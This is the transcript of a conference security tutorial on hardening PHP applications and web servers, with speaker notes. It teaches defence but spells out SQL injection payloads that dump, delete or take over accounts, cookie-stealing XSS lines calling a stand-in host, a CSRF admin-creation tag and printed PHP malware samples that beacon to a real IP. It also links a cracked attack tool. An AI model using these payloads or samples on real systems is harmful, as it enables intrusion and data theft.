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My app is secure... I think

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With more and more sites falling victim to data theft, you've probably read the list of things (not) to do to write secure code. But what else should you do to make sure your code and the rest of your web stack is secure ? In this tutorial we'll go through the basic and more advanced techniques of securing your web and database servers, securing your backend PHP code and your frontend javascript code. We'll also look at how you can build code that detects and blocks intrusion attempts and a bunch of other tips and tricks to make sure your customer data stays secure.

With more and more sites falling victim to data theft, you've probably read the list of things (not) to do to write secure code. But what else should you do to make sure your code and the rest of your web stack is secure ? In this tutorial we'll go through the basic and more advanced techniques of securing your web and database servers, securing your backend PHP code and your frontend javascript code. We'll also look at how you can build code that detects and blocks intrusion attempts and a bunch of other tips and tricks to make sure your customer data stays secure.

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My app is secure... I think

  1. 1. Wim Godden Cu.be Solutions My app is secure... I think
  2. 2. Who am I ? Wim Godden (@wimgtr)
  3. 3. Where I'm from
  4. 4. Where I'm from
  5. 5. Where I'm from
  6. 6. Where I'm from
  7. 7. Where I'm from
  8. 8. Where I'm from
  9. 9. My town
  10. 10. My town
  11. 11. Belgium – the traffic
  12. 12. Who am I ? Wim Godden (@wimgtr) Founder of Cu.be Solutions (http://cu.be) Open Source developer since 1997 Developer of OpenX, PHPCompatibility, ... Speaker at PHP and Open Source conferences
  13. 13. Who are you ? Developers ? System engineers ? Network engineers ? Ever had a hack ? Through the code ? Through the server ?
  14. 14. This tutorial Based on 2-day training No Vagrant/VirtualBox required
  15. 15. My app is secure... I think Basic stuff = known... … or is it ? Code is not enough Code Webserver Database server Operating system Network
  16. 16. Disclaimer Do not use these techniques to hack Use the knowledge to prevent others from hacking you
  17. 17. Reasons for hackers to hack Steal and sell your data Use your infrastructure as a jumpstation to hack other servers Send out lots of spam Use your server in a botnet for DDOS attacks Bring down your systems …
  18. 18. Part 1 : the most common attacks
  19. 19. OWASP Open Web Application Security Project www.owasp.org Top 10
  20. 20. SQL Injection (OWASP #1) Over 15 years Still #1 problem
  21. 21. SQL Injection (OWASP #1) <? require("header.php"); $hostname="localhost"; $sqlusername="someuser"; $sqlpassword="somepass"; $dbName="somedb"; MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database."); @mysql_select_db("$dbName") or die("Unable to select database."); $fp=fopen("content/whatever.php","r"); while (!feof($fp)) $inhoud.=fgets($fp,2); $res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']); for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++) { $lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n"; } $content=str_replace("<@textstring@>",$lst,$content); print $content; require("footer.php"); ?>
  22. 22. SQL Injection (OWASP #1) Over 15 years Still #1 problem Easy to exploit Easy to automate (scan + exploit) Often misunderstood
  23. 23. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR 1=1; -- select * from user where email='' OR 1=1; --' E-mail :
  24. 24. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR 1=1; -- select * from user where email='' OR 1=1; E-mail :
  25. 25. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR 1=1; -- select * from user where 1=1; E-mail :
  26. 26. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR 1=1; -- select * from user; E-mail :
  27. 27. Typical pre-2005 site index.php contact.php register.php login.php Once logged in : main.php … (all other content)
  28. 28. SQL injection – sample – lostpassword.php <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); } }
  29. 29. SQL injection – sample – lostpassword lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271 email=whatever@me.com' OR '1'='1 select * from user where email='whatever@me.com' OR '1'='1'
  30. 30. Worst case : data deletion email=whatever@me.com' OR '1'='1'; delete from user where '1'='1
  31. 31. Knowing the table structure email=whatever@me.com' AND email is NULL; --' select * from user where email='whatever@me.com' AND email is NULL; --'; <?php $query = "select * from user where email='" . $_GET['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); } }
  32. 32. Other fields ? id firstname / first_name lastname / last_name password / pass / pwd is_admin / isadmin / admin … email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'), 'My', 'New User', 1); --';
  33. 33. Update, retrieve password, update again email=whatever@me.com'; UPDATE user set email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com email=whatever@me.com'; UPDATE user set email='some-user- we@found.com' where email='myhackeraddress@gmail.com'; --';
  34. 34. Hackers just want your data email=whatever@me.com' OR 1=1 limit 2, 1; --'; email=whatever@me.com' OR 1=1 limit 3, 1; --'; email=whatever@me.com' OR 1=1 limit 4, 1; --'; ...
  35. 35. They want ALL data (not just email addresses) Find a long field (address field is a good candidate) email=whatever@me.com'; UPDATE user set address=concat(address, '|||', password), email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com and start scraping email=whatever@me.com'; UPDATE user set password=substring_index(address, '||', -1), address=substring_index(address, '||', 1), email='some-user-we@found.com' where email='myhackeraddress@gmail.com'; --';
  36. 36. SQL Injection – much more... Much more than logging in as a user SQL injection possible → wide range of dangers
  37. 37. Fixing SQL injection : attempt #1 Addslashes() ? $query = mysql_query('select * from user where id=' . addslashes($_GET['id'])); 5 and sleep(10) select * from user where id=5 and sleep(10) What if we hit that code 100 times simultaneously ? MySQL max_connections reached → Server unavailable
  38. 38. Fixing SQL injection : attempt #2 mysql_real_escape_string() mysqli_real_escape_string() pg_escape_string() ...
  39. 39. Fixing SQL injection : use prepared statements $select = 'select * from user where email = :email'; $stmt = $db->prepare($select); $stmt->bindParam(':email', $_GET['email']); $stmt->execute(); $results = $stmt->fetchAll();
  40. 40. ORM tools Doctrine, Propel, … When using their query language → OK Beware : you can still execute raw SQL !
  41. 41. Other injections LDAP injection Command injection (system, exec, ...) Eval (waaaaaaaaaah !) … User input → PHP → External system If you provide the data, it's your responsibility !
  42. 42. Demo <?php mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working'); mysql_select_db('sqlinjection'); $result = mysql_query("select * from user where email='" . $_GET['email'] . "'"); if (mysql_numrows($result) > 0) { echo mysql_result($result, 0, 'name'); } else { echo 'Error'; }
  43. 43. Session fixation www.our-app.com 1 2 PHPSESSID=abc123 3 www.our-app.com/?PHPSESSID=abc123 4 www.our-app.com/ ?PHPSESSID=abc123 5 www.our-app.com/ ?PHPSESSID=abc123 Enable session.use_only_cookies in php.ini !
  44. 44. Session fixation angel.cloud.com 1 Create evil PHP code 4 Session cookie on .cloud.com + redirect 2 devil.cloud.com 3 devil.cloud.comdevil.cloud.com 5 Login6 Use evil session cookie
  45. 45. Ways to avoid session fixation session.use_only_cookies = true Change session on login using session_regenerate_id(true) Do not share sessions between sites/subdomains Do not accept sessions not generated by your code Foreign session → remove the session cookie from the user Regenerate session regularly using session_regenerate_id(true) Use HTTPS All of the above help against session fixation AND session hijacking !
  46. 46. XSS – Cross Site Scripting <?php addMessage($_GET['id'], $_GET['message']); echo 'Thank you for submitting your message : ' . $_GET['message']; URL : /submitMessage http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
  47. 47. XSS – more advanced http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your- cookie.js"></script>
  48. 48. XSS – Advanced, yet simple <img src=x onerror=this.src='http://someplace.io/post-the-cookie- here.php?c='+document.cookie> http://www.our-app.com/?id=5&message=Thanks %2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D %27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D %27%2Bdocument.cookie%3E%0D%0A
  49. 49. XSS : Non-persisted vs persistent Previous examples were non-persistent : issue occurs once Post code to exploitable bulletin board → Persistent → Can infect every user
  50. 50. XSS : how to avoid Filter input, escape output <?php echo 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES);
  51. 51. CSRF : Cross Site Request Forgery www.our-app.com 1 Submit article for review 2 Retrieve articlefor review 3 Evil html or jsmakes call 4 Devil uses extra privileges Here's the article you were asking for. <img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
  52. 52. CSRF : ways to avoid Escape the output (where did we hear that before ?) Add a field to forms with a random hash/token for verification upon submit Check the referer header <form method="post" action="userSave.php"> <input name="id" type="hidden" value="5" /> <input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" /> rest of the form </form>
  53. 53. General rules – input validation Assume all data you receive as input contains a hack attempt ! Filter on disallowed characters Check validity of Dates Email addresses URLs etc. Input validation is not browser-side code, it's server-side code (you can ofcourse use browser-side code to make it look good)
  54. 54. General rules – escaping output Doing input validation → why do you need output escaping ? What if the data originates from a webservice an XML feed … Always escape output !
  55. 55. Clickjacking Do you want to support our cause ? NoYes Do you want to delete all your Facebook friends ? Yes No FB button
  56. 56. Clickjacking - solutions Sending X-Frame-Options header : X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN Sending frame-ancestor directive : Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Content-Security-Policy: frame-ancestors example.com wikipedia.org Jump out of iframe (use Framekiller)
  57. 57. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php redirect to main
  58. 58. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php (doesn't check cookie !) redirect to main
  59. 59. Bad authentication / authorization layer Only hiding URLs on view, not restricting on action /somewhere is visible on screen /somewhere/admin is not visible, but is accessible Allowing direct access to other user's data /user/profile/id/311 is the user's profile /user/profile/id/312 is also accessible and updateable Allowing direct access to file downloads with guessable urls /download/file/83291.pdf Creating cookies : loggedin=1 userid=312 admin=1
  60. 60. Protecting your web stack PHP Webserver Database server Mail server Other servers Firewalls ...
  61. 61. Protecting your web stack - PHP Update to the latest version (5.4 = EOL, 5.5 will be EOL this year) Safe_mode = dead → use PHP-FPM or VMs Register_globals = dead :-) Suhosin patch → mostly for web hosting companies Disable 'dangerous' PHP functions you don't need in php.ini system exec passthru 'Eval' is not a function, so can not be disabled
  62. 62. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors...
  63. 63. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors... ...and don't show exceptions, but... …log them ! And watch your logs ;-) If you use filenames as parameters download.php?filename=test.pdf Make sure you don't allow ../../../../etc/passwd Use basename() and pathinfo() to restrict File extensions : Use .php Don't use .inc, .conf, .include, ...
  64. 64. Detecting hack attempts from PHP 2 options : Build your own Use an existing system
  65. 65. Building a simple system Add an input field that's hidden from view (bots will fill it out) Implement a captcha Limit number of attempts on captcha Limit number of posts to certain URL
  66. 66. Limiting number of posts to a URL function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); } $now = new DateTimeImmutable(); if (count($submissions) == 10) { if (new DateTime($submissions[9]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); } array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true; }
  67. 67. Using an existing system PHPIDS : The standard IDS for PHP More complete Exposé : By @enygma (Chris Cornutt) Faster Use the same ruleset Provides impact value = level of trust in data $data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ) ); $filters = new ExposeFilterCollection(); $filters->load(); $logger = new ExposeLogMongo(); $manager = new ExposeManager($filters, $logger); $manager->run($data); // should return 8 echo 'impact: '.$manager->getImpact()."n";
  68. 68. Protecting your web stack – Passwords Don't create your own password hashing algorithm ! Use password_hash 5.5+ : built-in < 5.5 : ircmaxell/password-compat Don't md5() → sha512, blowfish, … Set a good password policy Min 8 chars, min 1 number, min 1 uppercase char, … No maximum length Try to avoid password hints → Email is better for recovery
  69. 69. Protecting your web stack – Webserver Block direct access to upload directories Allow only access to port 80 and 443 (!) Disable phpMyAdmin (VPN only if required) On Apache don't : AllowOverride All Options Indexes Block access to .svn and .git
  70. 70. Protecting your web stack – Webserver
  71. 71. Protecting your web stack – Webserver Block direct access to upload directories Allow only access to port 80 and 443 (!) Disable phpMyAdmin (VPN only if required) On Apache don't : AllowOverride All Options Indexes Block access to .svn and .git Detect and ban flood/scan attempts in Nginx : http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s; server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; } }
  72. 72. Use automatic logfile scanner & banner Example : Fail2ban [http-get-dos] enabled = true port = http,https filter = http-get-dos logpath = /var/log/nginx/access.log maxretry = 300 findtime = 300 bantime = 600 action = iptables[name=HTTP, port=http, protocol=tcp]
  73. 73. Protecting your web stack – Database server No access from the web required Give it a private IP Other websites on network ? → send traffic over SSL 1 user per DB 1 DB per user 1 DB per application
  74. 74. Protecting your web stack – Mail server Setup SSL for POP3, IMAP, SMTP Setup DomainKeys Setup SPF (Sender Policy Framework)
  75. 75. Protecting your web stack – DNS server Possible weak point in architecture Controls web, MX (mail) records, anti-spam, etc. DNS hijacking DNS spoofing
  76. 76. Protecting your web stack Use public/private key pairs, not passwords Don't login as root → Use sudo for commands that really need it Allow SSH access only from VPN Running Memcached ? Gearman ? … ? → Block external access
  77. 77. Lack of updates Not updating system packages Not updating frameworks and libraries Not just main components Doctrine Bootstrap TinyMCE etc. Not updating webserver software Not updating database server software Recently : Heartbleed (OpenSSL) Shellshock (Bash) Ghost (Glibc)
  78. 78. Protecting your web stack - firewalls Separate or on-server Default policy = deny all Don't forget IPv6 !!! Perform regular scans from external location Use blacklists to keep certain IP ranges out
  79. 79. First action of a hacker Make sure they don't lose the access they gained Create new user → easy to detect Install a custom backdoor → easy to detect with good IDS Install a backdoor based on installed software → Example : start SSHD with different config on different port (remember firewall ?) → Harder to detect → Kill it... what happens ? → Probably restarts via cronjob
  80. 80. Using an Intrusion Detection System Host-based Intrusion Detection System (HIDS) Network-based Intrusion Detection System (NIDS)
  81. 81. Host-based Intrusion Detection System Scans the file system for changes New/deleted files Modified files (based on checksum) File permission changes Old systems are standalone : AIDE, Tripwire, AFICK Easy to update by hacker, not recommended (unless combined with backup system) Intrusion detection by backup Best Open Source tool = OSSEC Client-server-based architecture → real-time notification that hacker can't stop Centralized updates
  82. 82. OSSEC - WebUI
  83. 83. OSSEC - Analogi
  84. 84. OSSEC structure
  85. 85. OSSEC integration
  86. 86. Decentralized alternative : Samhain Can be used centralized or standalone Log to syslog, send email, write to DB Processing on the client Improves processing speed Requires CPU power on client
  87. 87. Network-based Intrusion Detection Systems Snort Open Source Supported by Cisco (rules are not free) Analyzes traffic, blocks malicious traffic Huge user base, tons of addons
  88. 88. Snort
  89. 89. Network-based Intrusion Detection Systems Sirucata Similar to Snort Multi-threaded Supports hardware acceleration (packet inspection by GPU !) Detects malware in traffic Scripting engine : Lua (with LuaJIT)
  90. 90. Sirucata + Kibana
  91. 91. Network-based Intrusion Detection Systems Kismet Wireless IDS Detects rogue access points Prevents MITM attacks Detects hidden access points
  92. 92. Kismet
  93. 93. One IDS distro to rule them all Security Onion Based on Ubuntu Contains all the IDS tools... ...and much more
  94. 94. You've been hacked ! Now what ? (1/3) Take your application offline → Put up a maintenance page (on a different server) Take the server off the public Internet Change your SSH keys Make a full backup Check for cronjobs Check access/error logs → Give them to legal department Were any commits made from the server ? → Your server shouldn't be able to !
  95. 95. What a PHP hack might look like eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0 xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW 5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW 9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRG ODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNk U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
  96. 96. What a PHP hack might look like
  97. 97. What a PHP hack might look like $GLOBALS['_226432454_']=Array(); function _1618533527($i) { return '91.196.216.64'; } $ip=_1618533527(0); $GLOBALS['_1203443956_'] = Array('urlencode'); function _1847265367($i) { $a=Array('http://','/btt.php? ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i]; } $url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) . $_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)]; $GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents'); function _393632915($i) { return 'curl_version'; }
  98. 98. What a PHP hack might look like - location Changes to .htaccess Files in upload directory PHP code in files with different extension New modules/plugins for Drupal/Wordpress
  99. 99. You've been hacked ! Now what ? (2/3) Search system preg_replace base64_decode eval system exec passthru Search system and database script iframe
  100. 100. You've been hacked ! Now what ? (3/3) Find out how the hack happened ;-) Write an apology to your customers Finally : Reinstall the OS (from scratch !) Update all packages to the latest version Don't reinstall from backup ! Install source code Restore DB from previous backup (use binary log file) Change user passwords Relaunch
  101. 101. Takeaways Think like a hacker Can I steal data ? Can I DOS the site ? Which techniques could I use to do it ? Try it without looking at the code Try it while looking at the code Use SSL/HTTPS everywhere ! Block all traffic, then allow only what's needed Sanitize/filter your input Escape your output Block flooders/scanners Use an IDS Never trust a hacked system
  102. 102. Questions ?
  103. 103. Questions ?
  104. 104. The software discussed (and more) General resources OWASP : www.owasp.org SANS : http://www.sans.org/security-resources/ SecurityFocus : http://www.securityfocus.com/ CERT : http://cert.org/ SecTools : http://sectools.org/ SQL injection Havij (automated tool) : https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z Clickjacking demo : https://www.youtube.com/watch?v=3mk0RySeNsU Password use in PHP 5.5+ : password_hash function : http://php.net/password_hash < 5.5 : password_compat : https://github.com/ircmaxell/password_compat
  105. 105. The software discussed (and more) SSL certificates RapidSSL FreeSSL : https://www.freessl.com/ Let's Encrypt (coming soon) : https://letsencrypt.org/ StartSSL : https://www.startssl.com Block access to .svn and .git : http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-fol Webserver flood/scan detection Nginx : http://nginx.com/resources/admin-guide/restricting-access/ Multi-webserver : http://www.fail2ban.org Proxy-based : http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html
  106. 106. The software discussed (and more) Protecting your mail server SPF and DomainKeys : http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/ DNS Hijacking : http://www.gohacking.com/dns-hijacking/ Spoofing : http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio IPv6 – don't forget to firewall it the same way : https://www.sixxs.net/wiki/IPv6_Firewalling Automatic scanning tools : Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner Wapiti : http://wapiti.sourceforge.net/ Nexpose : http://www.rapid7.com/products/nexpose/
  107. 107. The software discussed (and more) Slow HTTP DOS attacks : https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate IDS PHP PHPIDS : https://github.com/PHPIDS/PHPIDS Exposé : https://github.com/enygma/expose Host-based OSSEC : www.ossec.net Samhain : http://www.la-samhna.de/samhain/ AIDE : http://aide.sourceforge.net/ Network-based Snort : https://www.snort.org/ Sirucata : http://suricata-ids.org/ All in one : Security Onion : http://blog.securityonion.net/
  108. 108. Contact Twitter @wimgtr Slides http://www.slideshare.net/wimg E-mail wim@cu.be Please provide feedback via : http://joind.in/14185

Editor's Notes

  • This afternoon we&amp;apos;re going to talk about security.
    This tutorial is based on a 2day training that we offer.
    Training → exercises with Vagrant/Virtualbox
    Only 3h → too short to try everything
    → usually takes 30min before everyone&amp;apos;s ready
    We have a lot of ground to cover, because...
  • Tutorial is titled...
    devs know basic security no-nos
    often unaware of less-common issues
    More importantly : creating secure app = more than creating secure code.
    Web app = chain of software and hardware
    Every part of chain = equally important.
    Neglecting single component → app and data at risk
    So next 3h → code and how to secure it
    Also security of web stack.
    Detect hack attempt, again both in code and stack
    Techniques to make it harder to go unnoticed
  • Before we begin :
    Little disclaimer
    Looking at techniques hackers use
    Not promoting techniques
    Explaining to help you understand there&amp;apos;s lot more than meets the eye.
    Use knowledge to improve security, not exploit bad code
  • ….
    That&amp;apos;s the reason to spend a little time explaining
    why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  • ….
    That&amp;apos;s the reason to spend a little time explaining
    why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  • ….
    That&amp;apos;s the reason to spend a little time explaining
    why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  • Lost password function
    EXPLAIN CODE
    How would you exploit this code ?
  • 1=1
    Always true
    Rest ignored
    All rows fetched
    → first one used in code
    → pw changed
    → mail sent
    → email address shown
    → exposing application data
    Bad, but can be worse. Probably thinking about this :
  • Pretty horrific ofcourse
    But : most hackers won&amp;apos;t do this
    Reason : they want your data, not destroy it
  • Exploit SQL injection : know table structure
    Looking at code → query will fail if field name is wrong
    If field name is correct → return not found
  • Find other fields in same way
    We can then try to insert
    Might fail because of missing foreign keys or mandatory fields we don&amp;apos;t know
  • However, we can always update email address of user we know
    → set to our email
    Then retrieve password
    Then reset email
    But now we have login access !
  • As already mentioned : hackers want your data
    Easy way to retrieve it.
    Increment the limit start
    Retrieve each row of the table
  • As already mentioned : hackers want your data
    Easy way to retrieve it.
    Increment the limit start
    Retrieve each row of the table
  • So how do we fix SQL injection ?
    Who has ever used addslashes to... ?
    How could you exploit this code ? No quotes !
    We can&amp;apos;t retrieve data, but we can cause each query to sleep 10 sec.
    So addslashes is not a good solution
  • The second option is the real_escape_string functions.
    Although they&amp;apos;re not bad → not really ideal anymore
  • Best way : prepared statements
    They&amp;apos;re the most convenient and flexible way to protect against all the things we just saw.
  • ORMs will help
    → they use prepared statements
    → You can still execute raw SQL
    → still vulnerable to SQL
    → be careful, even with ORM
  • Plenty of other injections possible
    Rule is : don&amp;apos;t accept input from user and send it unfiltered to external system
    Let&amp;apos;s say SOAP webservice someone wrote years ago.
    Unfiltered data → SOAP → might have SQL injection issue.
    Not your problem ? SOAP developer gone, source code gone ? You consume service, you need to provide good data.
  • Not as well know, but very dangerous and sneaky
    How it works...
    EXPLAIN SLIDE
    Ofcourse this implies passing session id in query string
    → Not recommended
    → Enable session.user_only_cookies
  • Another common way
    Not passing session id on query string
    Works on limited sites
    Let&amp;apos;s say we can register subdomain and run PHP code
    EXPLAIN SLIDE
  • Session fixation is serious problem
    Luckily few things that can be done
    All of tips also help in avoiding hijacking
    → when http traffic is intercepted
    → cookie gets stolen
  • XSS problem is mostly poor output escaping
    This is most simple version.
    However, can get a lot worse.
  • Non-persistent : targeted to one user at a time
    Persistent : can infect every usre
  • There&amp;apos;s a few
  • ×